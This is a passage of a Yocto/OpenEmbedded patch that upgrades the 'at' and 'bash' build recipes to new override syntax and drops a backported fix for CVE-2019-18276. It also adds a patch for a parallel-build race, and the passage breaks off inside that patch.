+--- at-3.2.1.orig/Makefile.in
++++ at-3.2.1/Makefile.in
@@ -83,6 +83,8 @@ y.tab.c y.tab.h: parsetime.y
lex.yy.c: parsetime.l
$(LEX) -i parsetime.l
@@ -35,6 +35,3 @@ index 4c11913..18ecc23 100644
atd.service: atd.service.in
cat $< | sed -e 's![@]sbindir[@]!$(sbindir)!g' | sed -e 's![@]atjobdir[@]!$(atjobdir)!g' > $@
---
-2.7.4
-
diff --git a/meta/recipes-extended/at/at/makefile-fix-parallel.patch b/meta/recipes-extended/at/at/makefile-fix-parallel.patch
index d6056dceff..adb8652053 100644
--- a/meta/recipes-extended/at/at/makefile-fix-parallel.patch
+++ b/meta/recipes-extended/at/at/makefile-fix-parallel.patch
@@ -15,11 +15,11 @@ Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
Makefile | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
-Index: at-3.1.20/Makefile.in
+Index: at-3.2.1/Makefile.in
===================================================================
---- at-3.1.20.orig/Makefile.in
-+++ at-3.1.20/Makefile.in
-@@ -76,7 +76,9 @@ at: $(ATOBJECTS)
+--- at-3.2.1.orig/Makefile.in
++++ at-3.2.1/Makefile.in
+@@ -77,7 +77,9 @@ at: $(ATOBJECTS)
atd: $(RUNOBJECTS)
$(CC) $(LDFLAGS) -o atd $(RUNOBJECTS) $(LIBS) $(PAMLIB) $(SELINUXLIB)
diff --git a/meta/recipes-extended/at/at_3.1.23.bb b/meta/recipes-extended/at/at_3.1.23.bb
deleted file mode 100644
index b74882d342..0000000000
--- a/meta/recipes-extended/at/at_3.1.23.bb
+++ /dev/null
@@ -1,78 +0,0 @@
-SUMMARY = "Delayed job execution and batch processing"
-HOMEPAGE = "http://blog.calhariz.com/"
-DESCRIPTION = "At allows for commands to be run at a particular time. Batch will execute commands when \
-the system load levels drop to a particular level."
-SECTION = "base"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4325afd396febcb659c36b49533135d4"
-DEPENDS = "flex flex-native bison-native \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
-
-PACKAGECONFIG ?= "\
- ${@bb.utils.contains('DISTRO_FEATURES', 'selinux', 'selinux', '', d)} \
-"
-
-PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux,"
-
-RDEPENDS_${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_DEPS}', '', d)} \
-"
-
-PAM_DEPS = "libpam libpam-runtime pam-plugin-env pam-plugin-limits"
-
-RCONFLICTS_${PN} = "atd"
-RREPLACES_${PN} = "atd"
-
-SRC_URI = "http://snapshot.debian.org/archive/debian/20180825T090248Z/pool/main/a/${BPN}/${BPN}_${PV}.orig.tar.gz \
- file://fix_parallel_build_error.patch \
- file://posixtm.c \
- file://posixtm.h \
- file://file_replacement_with_gplv2.patch \
- file://atd.init \
- file://atd.service \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
- file://makefile-fix-parallel.patch \
- file://0001-remove-glibc-assumption.patch \
- "
-
-PAM_SRC_URI = "file://pam.conf.patch \
- file://configure-add-enable-pam.patch"
-
-SRC_URI[md5sum] = "1cec945506b5ddf1d776c92c315fc581"
-SRC_URI[sha256sum] = "97450aa954aaa8a70218cc8e61a33df9fee9f86527e9f861de302fb7a3c81710"
-
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/a/at/"
-
-EXTRA_OECONF += "ac_cv_path_SENDMAIL=/bin/true \
- --with-daemon_username=root \
- --with-daemon_groupname=root \
- --with-jobdir=/var/spool/at/jobs \
- --with-atspool=/var/spool/at/spool \
- ac_cv_header_security_pam_appl_h=${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'yes', 'no', d)} "
-
-inherit autotools-brokensep systemd update-rc.d
-
-INITSCRIPT_NAME = "atd"
-INITSCRIPT_PARAMS = "defaults"
-
-SYSTEMD_SERVICE_${PN} = "atd.service"
-
-copy_sources() {
- cp -f ${WORKDIR}/posixtm.[ch] ${S}
-}
-do_patch[postfuncs] += "copy_sources"
-
-do_install () {
- oe_runmake -e "IROOT=${D}" install
-
- install -d ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/atd.init ${D}${sysconfdir}/init.d/atd
-
- # install systemd unit files
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/atd.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_unitdir}/system/atd.service
-
- if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
- install -D -m 0644 ${WORKDIR}/${BP}/pam.conf ${D}${sysconfdir}/pam.d/atd
- fi
-}
diff --git a/meta/recipes-extended/at/at_3.2.2.bb b/meta/recipes-extended/at/at_3.2.2.bb
new file mode 100644
index 0000000000..14b9dace2a
--- /dev/null
+++ b/meta/recipes-extended/at/at_3.2.2.bb
@@ -0,0 +1,76 @@
+SUMMARY = "Delayed job execution and batch processing"
+HOMEPAGE = "http://blog.calhariz.com/"
+DESCRIPTION = "At allows for commands to be run at a particular time. Batch will execute commands when \
+the system load levels drop to a particular level."
+SECTION = "base"
+LICENSE = "GPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4325afd396febcb659c36b49533135d4"
+DEPENDS = "flex flex-native bison-native \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
+
+PACKAGECONFIG ?= "\
+ ${@bb.utils.contains('DISTRO_FEATURES', 'selinux', 'selinux', '', d)} \
+"
+
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux,"
+
+RDEPENDS:${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_DEPS}', '', d)} \
+"
+
+PAM_DEPS = "libpam libpam-runtime pam-plugin-env pam-plugin-limits"
+
+RCONFLICTS:${PN} = "atd"
+RREPLACES:${PN} = "atd"
+
+SRC_URI = "http://software.calhariz.com/at/${BPN}_${PV}.orig.tar.gz \
+ file://fix_parallel_build_error.patch \
+ file://posixtm.c \
+ file://posixtm.h \
+ file://file_replacement_with_gplv2.patch \
+ file://atd.init \
+ file://atd.service \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
+ file://makefile-fix-parallel.patch \
+ file://0001-remove-glibc-assumption.patch \
+ "
+
+PAM_SRC_URI = "file://pam.conf.patch \
+ file://configure-add-enable-pam.patch"
+
+SRC_URI[sha256sum] = "2211da14914fde1f9cc83592838fb6385a32fb11fcecb7816c77700df6559088"
+
+EXTRA_OECONF += "ac_cv_path_SENDMAIL=/bin/true \
+ --with-daemon_username=root \
+ --with-daemon_groupname=root \
+ --with-jobdir=/var/spool/at/jobs \
+ --with-atspool=/var/spool/at/spool \
+ ac_cv_header_security_pam_appl_h=${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'yes', 'no', d)} "
+
+inherit autotools-brokensep systemd update-rc.d
+
+INITSCRIPT_NAME = "atd"
+INITSCRIPT_PARAMS = "defaults"
+
+SYSTEMD_SERVICE:${PN} = "atd.service"
+
+copy_sources() {
+ cp -f ${WORKDIR}/posixtm.[ch] ${S}
+}
+do_patch[postfuncs] += "copy_sources"
+
+do_install () {
+ oe_runmake -e "IROOT=${D}" install
+
+ install -d ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/atd.init ${D}${sysconfdir}/init.d/atd
+
+ # install systemd unit files
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/atd.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_system_unitdir}/atd.service
+
+ if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
+ install -D -m 0644 ${WORKDIR}/${BP}/pam.conf ${D}${sysconfdir}/pam.d/atd
+ fi
+ rm -f ${D}${datadir}/at/batch-job
+}
diff --git a/meta/recipes-extended/bash/bash.inc b/meta/recipes-extended/bash/bash.inc
index 1ebb33bdcd..18874a0e24 100644
--- a/meta/recipes-extended/bash/bash.inc
+++ b/meta/recipes-extended/bash/bash.inc
@@ -1,12 +1,13 @@
SUMMARY = "An sh-compatible command language interpreter"
HOMEPAGE = "http://tiswww.case.edu/php/chet/bash/bashtop.html"
+DESCRIPTION = "Bash is the GNU Project's Bourne Again SHell, a complete implementation of the IEEE POSIX and Open Group shell specification with interactive command line editing, job control on architectures that support it, csh-like features such as history substitution and brace expansion, and a slew of other features."
SECTION = "base/shell"
DEPENDS = "ncurses bison-native virtual/libiconv"
inherit autotools gettext texinfo update-alternatives ptest
-EXTRA_AUTORECONF += "--exclude=autoheader --exclude=aclocal"
+EXTRA_AUTORECONF += "--exclude=autoheader"
EXTRA_OECONF = "--enable-job-control --without-bash-malloc bash_cv_wexitstatus_offset=8"
# If NON_INTERACTIVE_LOGIN_SHELLS is defined, all login shells read the
@@ -14,18 +15,25 @@ EXTRA_OECONF = "--enable-job-control --without-bash-malloc bash_cv_wexitstatus_o
# This is what other major distros do. And this is what we wanted. See bug#5359 and bug#7137.
CFLAGS += "-DNON_INTERACTIVE_LOGIN_SHELLS"
-ALTERNATIVE_${PN} = "bash sh"
+# This can vary depending upon the host
+CFLAGS += "-DHEREDOC_PIPESIZE=65536"
+
+# Disable bracketed paste mode by default (enabled by default in bash 5.1). It
+# causes a lot of garbage in non-interactive shells
+CFLAGS += "-DBRACKETED_PASTE_DEFAULT=0"
+
+ALTERNATIVE:${PN} = "bash sh"
ALTERNATIVE_LINK_NAME[bash] = "${base_bindir}/bash"
ALTERNATIVE_TARGET[bash] = "${base_bindir}/bash"
ALTERNATIVE_LINK_NAME[sh] = "${base_bindir}/sh"
ALTERNATIVE_TARGET[sh] = "${base_bindir}/bash.${BPN}"
ALTERNATIVE_PRIORITY = "100"
-RDEPENDS_${PN} += "base-files"
-RDEPENDS_${PN}_class-nativesdk = ""
-RDEPENDS_${PN}-ptest += "make coreutils perl sed shadow util-linux-setpriv"
+RDEPENDS:${PN} += "base-files"
+RDEPENDS:${PN}:class-nativesdk = ""
+RDEPENDS:${PN}-ptest += "make coreutils perl sed shadow util-linux-setpriv"
-RDEPENDS_${PN}-ptest_append_libc-glibc = " \
+RDEPENDS:${PN}-ptest:append:libc-glibc = " \
glibc-gconv-big5hkscs \
glibc-gconv-iso8859-1 \
glibc-utils \
@@ -38,7 +46,13 @@ RDEPENDS_${PN}-ptest_append_libc-glibc = " \
CACHED_CONFIGUREVARS += "headersdir=${includedir}/${PN}"
-do_compile_prepend() {
+do_configure:prepend () {
+ if [ ! -e ${S}/acinclude.m4 ]; then
+ cat ${S}/aclocal.m4 > ${S}/acinclude.m4
+ fi
+}
+
+do_compile:prepend() {
# Remove any leftover .build files. This ensures that bash always has the
# same version number and keeps builds reproducible
rm -f ${B}/.build
@@ -48,14 +62,19 @@ do_compile_ptest () {
oe_runmake buildtest
}
-do_install_append () {
+do_install:prepend () {
+ # Ensure determinism as this counter increases for each make call
+ rm -f ${B}/.build
+}
+
+do_install:append () {
# Move /usr/bin/bash to /bin/bash, if need
if [ "${base_bindir}" != "${bindir}" ]; then
mkdir -p ${D}${base_bindir}
mv ${D}${bindir}/bash ${D}${base_bindir}
fi
}
-do_install_append_class-target () {
+do_install:append:class-target () {
# Clean buildhost references in bashbug
sed -i -e "s,--sysroot=${STAGING_DIR_TARGET},,g" \
-e "s,-I${WORKDIR}/\S* ,,g" \
@@ -77,6 +96,9 @@ do_install_append_class-target () {
do_install_ptest () {
make INSTALL_TEST_DIR=${D}${PTEST_PATH}/tests install-test
cp ${B}/Makefile ${D}${PTEST_PATH}
+ cp ${B}/config.h ${D}${PTEST_PATH}
+ cp ${B}/version.h ${D}${PTEST_PATH}
+ cp ${S}/y.tab.[ch] ${D}${PTEST_PATH}
install -D ${WORKDIR}/run-bash-ptests ${D}${PTEST_PATH}/run-bash-ptests
sed -i -e 's/^Makefile/_Makefile/' -e "s,--sysroot=${STAGING_DIR_TARGET},,g" \
-e 's|${DEBUG_PREFIX_MAP}||g' \
@@ -90,20 +112,20 @@ do_install_ptest () {
# hash
do_install_ptest[vardepsexclude] += "UNINATIVE_LOADER"
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
grep -q "^${base_bindir}/bash$" $D${sysconfdir}/shells || echo ${base_bindir}/bash >> $D${sysconfdir}/shells
}
-pkg_postrm_${PN} () {
+pkg_postrm:${PN} () {
printf "$(grep -v "^${base_bindir}/bash$" $D${sysconfdir}/shells)\n" > $D${sysconfdir}/shells
}
PACKAGES += "${PN}-bashbug"
-FILES_${PN} = "${bindir}/bash ${base_bindir}/bash.bash"
-FILES_${PN}-bashbug = "${bindir}/bashbug"
+FILES:${PN} = "${bindir}/bash ${base_bindir}/bash.bash"
+FILES:${PN}-bashbug = "${bindir}/bashbug"
PACKAGE_BEFORE_PN += "${PN}-loadable"
-RDEPENDS_${PN}-loadable += "${PN}"
-FILES_${PN}-loadable += "${libdir}/bash/*"
+RDEPENDS:${PN}-loadable += "${PN}"
+FILES:${PN}-loadable += "${libdir}/bash/*"
-RPROVIDES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sh /bin/bash', '', d)}"
+RPROVIDES:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sh /bin/bash', '', d)}"
diff --git a/meta/recipes-extended/bash/bash/bash-CVE-2019-18276.patch b/meta/recipes-extended/bash/bash/bash-CVE-2019-18276.patch
deleted file mode 100644
index 7b2073201e..0000000000
--- a/meta/recipes-extended/bash/bash/bash-CVE-2019-18276.patch
+++ /dev/null
@@ -1,386 +0,0 @@
-From 951bdaad7a18cc0dc1036bba86b18b90874d39ff Mon Sep 17 00:00:00 2001
-From: Chet Ramey <chet.ramey@case.edu>
-Date: Mon, 1 Jul 2019 09:03:53 -0400
-Subject: [PATCH] commit bash-20190628 snapshot
-
-An issue was discovered in disable_priv_mode in shell.c in GNU Bash through 5.0 patch 11.
-By default, if Bash is run with its effective UID not equal to its real UID,
-it will drop privileges by setting its effective UID to its real UID.
-However, it does so incorrectly. On Linux and other systems that support "saved UID" functionality,
-the saved UID is not dropped. An attacker with command execution in the shell can use "enable -f" for
-runtime loading of a new builtin, which can be a shared object that calls setuid() and therefore
-regains privileges. However, binaries running with an effective UID of 0 are unaffected.
-
-Get the patch from [1] to fix the issue.
-
-Upstream-Status: Inappropriate [the upstream thinks it doesn't increase the credibility of CVEs in general]
-CVE: CVE-2019-18276
-
-[1] https://git.savannah.gnu.org/cgit/bash.git/commit/?h=devel&id=951bdaa
-
-Signed-off-by: De Huo <De.Huo@windriver.com>
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
----
- MANIFEST | 2 ++
- bashline.c | 50 +-------------------------------------------------
- builtins/help.def | 2 +-
- config.h.in | 10 +++++++++-
- configure.ac | 1 +
- doc/bash.1 | 3 ++-
- doc/bashref.texi | 3 ++-
- lib/glob/glob.c | 5 ++++-
- pathexp.c | 16 ++++++++++++++--
- shell.c | 8 ++++++++
- tests/glob.tests | 2 ++
- tests/glob6.sub | 54 ++++++++++++++++++++++++++++++++++++++++++++++++++++++
- tests/glob7.sub | 11 +++++++++++
- 14 files changed, 122 insertions(+), 56 deletions(-)
- create mode 100644 tests/glob6.sub
- create mode 100644 tests/glob7.sub
-
-diff --git a/MANIFEST b/MANIFEST
-index 03de221..f9ccad7 100644
---- a/MANIFEST
-+++ b/MANIFEST
-@@ -1037,6 +1037,8 @@ tests/extglob3.tests f
- tests/extglob3.right f
- tests/extglob4.sub f
- tests/extglob5.sub f
-+tests/glob6.sub f
-+tests/glob7.sub f
- tests/func.tests f
- tests/func.right f
- tests/func1.sub f
-diff --git a/bashline.c b/bashline.c
-index 824ea9d..d86b47d 100644
---- a/bashline.c
-+++ b/bashline.c
-@@ -3718,55 +3718,7 @@ static int
- completion_glob_pattern (string)
- char *string;
- {
-- register int c;
-- char *send;
-- int open;
--
-- DECLARE_MBSTATE;
--
-- open = 0;
-- send = string + strlen (string);
--
-- while (c = *string++)
-- {
-- switch (c)
-- {
-- case '?':
-- case '*':
-- return (1);
--
-- case '[':
-- open++;
-- continue;
--
-- case ']':
-- if (open)
-- return (1);
-- continue;
--
-- case '+':
-- case '@':
-- case '!':
-- if (*string == '(') /*)*/
-- return (1);
-- continue;
--
-- case '\\':
-- if (*string++ == 0)
-- return (0);
-- }
--
-- /* Advance one fewer byte than an entire multibyte character to
-- account for the auto-increment in the loop above. */
--#ifdef HANDLE_MULTIBYTE
-- string--;
-- ADVANCE_CHAR_P (string, send - string);
-- string++;
--#else
-- ADVANCE_CHAR_P (string, send - string);
--#endif
-- }
-- return (0);
-+ return (glob_pattern_p (string) == 1);
- }
-
- static char *globtext;
-diff --git a/builtins/help.def b/builtins/help.def
-index 006c4b5..92f9b38 100644
---- a/builtins/help.def
-+++ b/builtins/help.def
-@@ -128,7 +128,7 @@ help_builtin (list)
-
- /* We should consider making `help bash' do something. */
-
-- if (glob_pattern_p (list->word->word))
-+ if (glob_pattern_p (list->word->word) == 1)
- {
- printf ("%s", ngettext ("Shell commands matching keyword `", "Shell commands matching keywords `", (list->next ? 2 : 1)));
- print_word_list (list, ", ");
-diff --git a/config.h.in b/config.h.in
-index 8554aec..ad4b1e8 100644
---- a/config.h.in
-+++ b/config.h.in
-@@ -1,6 +1,6 @@
- /* config.h -- Configuration file for bash. */
-
--/* Copyright (C) 1987-2009,2011-2012 Free Software Foundation, Inc.
-+/* Copyright (C) 1987-2009,2011-2012,2013-2019 Free Software Foundation, Inc.
-
- This file is part of GNU Bash, the Bourne Again SHell.
-
-@@ -807,6 +807,14 @@
- #undef HAVE_SETREGID
- #undef HAVE_DECL_SETREGID
-
-+/* Define if you have the setregid function. */
-+#undef HAVE_SETRESGID
-+#undef HAVE_DECL_SETRESGID
-+
-+/* Define if you have the setresuid function. */
-+#undef HAVE_SETRESUID
-+#undef HAVE_DECL_SETRESUID
-+
- /* Define if you have the setvbuf function. */
- #undef HAVE_SETVBUF
-
-diff --git a/configure.ac b/configure.ac
-index 52b4cdb..549adef 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -810,6 +810,7 @@ AC_CHECK_DECLS([confstr])
- AC_CHECK_DECLS([printf])
- AC_CHECK_DECLS([sbrk])
- AC_CHECK_DECLS([setregid])
-+AC_CHECK_DECLS[(setresuid, setresgid])
- AC_CHECK_DECLS([strcpy])
- AC_CHECK_DECLS([strsignal])
-
-diff --git a/doc/bash.1 b/doc/bash.1
-index e6cd08d..9e58a0b 100644
---- a/doc/bash.1
-+++ b/doc/bash.1
-@@ -4681,7 +4681,8 @@ above).
- .PD
- .SH "SIMPLE COMMAND EXPANSION"
- When a simple command is executed, the shell performs the following
--expansions, assignments, and redirections, from left to right.
-+expansions, assignments, and redirections, from left to right, in
-+the following order.
- .IP 1.
- The words that the parser has marked as variable assignments (those
- preceding the command name) and redirections are saved for later
-diff --git a/doc/bashref.texi b/doc/bashref.texi
-index d33cd57..3065126 100644
---- a/doc/bashref.texi
-+++ b/doc/bashref.texi
-@@ -2964,7 +2964,8 @@ is not specified. If the file does not exist, it is created.
- @cindex command expansion
-
- When a simple command is executed, the shell performs the following
--expansions, assignments, and redirections, from left to right.
-+expansions, assignments, and redirections, from left to right, in
-+the following order.
-
- @enumerate
- @item
-diff --git a/lib/glob/glob.c b/lib/glob/glob.c
-index 398253b..2eaa33e 100644
---- a/lib/glob/glob.c
-+++ b/lib/glob/glob.c
-@@ -607,6 +607,7 @@ glob_vector (pat, dir, flags)
- register unsigned int i;
- int mflags; /* Flags passed to strmatch (). */
- int pflags; /* flags passed to sh_makepath () */
-+ int hasglob; /* return value from glob_pattern_p */
- int nalloca;
- struct globval *firstmalloc, *tmplink;
- char *convfn;
-@@ -648,10 +649,12 @@ glob_vector (pat, dir, flags)
- patlen = (pat && *pat) ? strlen (pat) : 0;
-
- /* If the filename pattern (PAT) does not contain any globbing characters,
-+ or contains a pattern with only backslash escapes (hasglob == 2),
- we can dispense with reading the directory, and just see if there is
- a filename `DIR/PAT'. If there is, and we can access it, just make the
- vector to return and bail immediately. */
-- if (skip == 0 && glob_pattern_p (pat) == 0)
-+ hasglob = 0;
-+ if (skip == 0 && (hasglob = glob_pattern_p (pat)) == 0 || hasglob == 2)
- {
- int dirlen;
- struct stat finfo;
-diff --git a/pathexp.c b/pathexp.c
-index c1bf2d8..e6c5392 100644
---- a/pathexp.c
-+++ b/pathexp.c
-@@ -58,7 +58,10 @@ int extended_glob = EXTGLOB_DEFAULT;
- /* Control enabling special handling of `**' */
- int glob_star = 0;
-
--/* Return nonzero if STRING has any unquoted special globbing chars in it. */
-+/* Return nonzero if STRING has any unquoted special globbing chars in it.
-+ This is supposed to be called when pathname expansion is performed, so
-+ it implements the rules in Posix 2.13.3, specifically that an unquoted
-+ slash cannot appear in a bracket expression. */
- int
- unquoted_glob_pattern_p (string)
- register char *string;
-@@ -85,10 +88,14 @@ unquoted_glob_pattern_p (string)
- continue;
-
- case ']':
-- if (open)
-+ if (open) /* XXX - if --open == 0? */
- return (1);
- continue;
-
-+ case '/':
-+ if (open)
-+ open = 0;
-+
- case '+':
- case '@':
- case '!':
-@@ -106,6 +113,11 @@ unquoted_glob_pattern_p (string)
- string++;
- continue;
- }
-+ else if (open && *string == '/')
-+ {
-+ string++; /* quoted slashes in bracket expressions are ok */
-+ continue;
-+ }
- else if (*string == 0)
- return (0);
-
-diff --git a/shell.c b/shell.c
-index a2b2a55..6adabc8 100644
---- a/shell.c
-+++ b/shell.c
-@@ -1293,7 +1293,11 @@ disable_priv_mode ()
- {
- int e;
-
-+#if HAVE_DECL_SETRESUID
-+ if (setresuid (current_user.uid, current_user.uid, current_user.uid) < 0)
-+#else
- if (setuid (current_user.uid) < 0)
-+#endif
- {
- e = errno;
- sys_error (_("cannot set uid to %d: effective uid %d"), current_user.uid, current_user.euid);
-@@ -1302,7 +1306,11 @@ disable_priv_mode ()
- exit (e);
- #endif
- }
-+#if HAVE_DECL_SETRESGID
-+ if (setresgid (current_user.gid, current_user.gid, current_user.gid) < 0)
-+#else
- if (setgid (current_user.gid) < 0)
-+#endif
- sys_error (_("cannot set gid to %d: effective gid %d"), current_user.gid, current_user.egid);
-
- current_user.euid = current_user.uid;
-diff --git a/tests/glob.tests b/tests/glob.tests
-index 01913bb..fb012f7 100644
---- a/tests/glob.tests
-+++ b/tests/glob.tests
-@@ -12,6 +12,8 @@ ${THIS_SH} ./glob1.sub
- ${THIS_SH} ./glob2.sub
- ${THIS_SH} ./glob3.sub
- ${THIS_SH} ./glob4.sub
-+${THIS_SH} ./glob6.sub
-+${THIS_SH} ./glob7.sub
-
- MYDIR=$PWD # save where we are
-
-diff --git a/tests/glob6.sub b/tests/glob6.sub
-new file mode 100644
-index 0000000..b099811
---- /dev/null
-+++ b/tests/glob6.sub
-@@ -0,0 +1,54 @@
-+# tests of the backslash-in-glob-patterns discussion on the austin-group ML
-+
-+: ${TMPDIR:=/var/tmp}
-+
-+ORIG=$PWD
-+GLOBDIR=$TMPDIR/bash-glob-$$
-+mkdir $GLOBDIR && cd $GLOBDIR
-+
-+# does the pattern matcher allow backslashes as escape characters and remove
-+# them as part of matching?
-+touch abcdefg
-+pat='ab\cd*'
-+printf '<%s>\n' $pat
-+pat='\.'
-+printf '<%s>\n' $pat
-+rm abcdefg
-+
-+# how about when escaping pattern characters?
-+touch '*abc.c'
-+a='\**.c'
-+printf '%s\n' $a
-+rm -f '*abc.c'
-+
-+# how about when making the distinction between readable and searchable path
-+# components?
-+mkdir -m a=x searchable
-+mkdir -m a=r readable
-+
-+p='searchable/\.'
-+printf "%s\n" $p
-+
-+p='searchable/\./.'
-+printf "%s\n" $p
-+
-+p='readable/\.'
-+printf "%s\n" $p
-+
-+p='readable/\./.'
-+printf "%s\n" $p
-+
-+printf "%s\n" 'searchable/\.'
-+printf "%s\n" 'readable/\.'
-+
-+echo */.
-+
-+p='*/\.'
-+echo $p
-+
-+echo */'.'
-+
-+rmdir searchable readable
-+
-+cd $ORIG
-+rmdir $GLOBDIR
-diff --git a/tests/glob7.sub b/tests/glob7.sub
-new file mode 100644
-index 0000000..0212b8e
---- /dev/null
-+++ b/tests/glob7.sub
-@@ -0,0 +1,11 @@
-+# according to Posix 2.13.3, a slash in a bracket expression renders that
-+# bracket expression invalid
-+shopt -s nullglob
-+
-+echo 1: [qwe/qwe]
-+echo 2: [qwe/
-+echo 3: [qwe/]
-+
-+echo 4: [qwe\/qwe]
-+echo 5: [qwe\/
-+echo 6: [qwe\/]
---
-1.9.1
-
diff --git a/meta/recipes-extended/bash/bash/build-tests.patch b/meta/recipes-extended/bash/bash/build-tests.patch
index 5f2dae94a1..ea38bace9b 100644
--- a/meta/recipes-extended/bash/bash/build-tests.patch
+++ b/meta/recipes-extended/bash/bash/build-tests.patch
@@ -1,19 +1,24 @@
-Add 'ptest' target to Makefile, to run tests without checking dependencies.
+From 318b762837c2ad25319caeaf0320eff613b64daf Mon Sep 17 00:00:00 2001
+From: Anders Roxell <anders.roxell@enea.com>
+Date: Wed, 19 Dec 2012 17:18:31 +0100
+Subject: [PATCH] Add 'ptest' target to Makefile, to run tests without checking
+ dependencies.
Upstream-Status: Pending
Signed-off-by: Anders Roxell <anders.roxell@enea.com>
Rebase to 5.0
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
Makefile.in | 24 +++++++++++++++++++-----
1 file changed, 19 insertions(+), 5 deletions(-)
diff --git a/Makefile.in b/Makefile.in
-index 5fcb44b..de1c255 100644
+index bc97049..937ce39 100644
--- a/Makefile.in
+++ b/Makefile.in
-@@ -932,20 +932,34 @@ maybe-clean:
+@@ -943,20 +943,34 @@ maybe-clean:
fi
recho$(EXEEXT): $(SUPPORT_SRC)recho.c
@@ -51,8 +56,5 @@ index 5fcb44b..de1c255 100644
+
+runtest:
@( cd $(srcdir)/tests && \
- PATH=$(BUILD_DIR)/tests:$$PATH THIS_SH=$(THIS_SH) $(SHELL) ${TESTSCRIPT} )
+ BUILD_DIR=$(BUILD_DIR) PATH=$(BUILD_DIR)/tests:$$PATH THIS_SH=$(THIS_SH) $(SHELL) ${TESTSCRIPT} )
---
-2.7.4
-
diff --git a/meta/recipes-extended/bash/bash/makerace.patch b/meta/recipes-extended/bash/bash/makerace.patch
new file mode 100644
index 0000000000..9bd7c280fe
--- /dev/null
+++ b/meta/recipes-extended/bash/bash/makerace.patch
@@ -0,0 +1,52 @@
+We're seeing pipesize.h being created in parallel:
+
+/bin/sh ../../bash-5.1/builtins/psize.sh > pipesize.h
+/bin/sh ../../bash-5.1/builtins/psize.sh > pipesize.h
+
+./mkbuiltins -D ../../bash-5.1/builtins ../../bash-5.1/builtins/ulimit.def
+x86_64-pokysdk-linux-gcc --sysroot=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot -c -DHAVE_CONFIG_H -DSHELL -I. -I.. -I../../bash-5.1 -I../../bash-5.1/include -I../../bash-5.1/lib -I../../bash-5.1/builtins -O2 -pipe -fmacro-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0=/usr/src/debug/nativesdk-bash/5.1-r0 -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0=/usr/src/debug/nativesdk-bash/5.1-r0 -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot= -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot-native= ulimit.c || ( rm -f ulimit.c ; exit 1 )
+make[1]: Leaving directory '/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/build/builtins'
+rm -f redir.o
+x86_64-pokysdk-linux-gcc --sysroot=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot -DPROGRAM='"bash"' -DCONF_HOSTTYPE='"x86_64"' -DCONF_OSTYPE='"linux-gnu"' -DCONF_MACHTYPE='"x86_64-pokysdk-linux-gnu"' -DCONF_VENDOR='"pokysdk"' -DLOCALEDIR='"/opt/poky/3.2+snapshot/sysroots/x86_64-pokysdk-linux/usr/share/locale"' -DPACKAGE='"bash"' -DSHELL -DHAVE_CONFIG_H -I. -I../bash-5.1 -I../bash-5.1/include -I../bash-5.1/lib -O2 -pipe -fmacro-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0=/usr/src/debug/nativesdk-bash/5.1-r0 -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0=/usr/src/debug/nativesdk-bash/5.1-r0 -fdebug-prefix-map=/home/pokybuild/yocto-worker/multilib/build/build/tmp/work/x86_64-nativesdk-pokysdk-linux/nativesdk-bash/5.1-r0/recipe-sysroot= 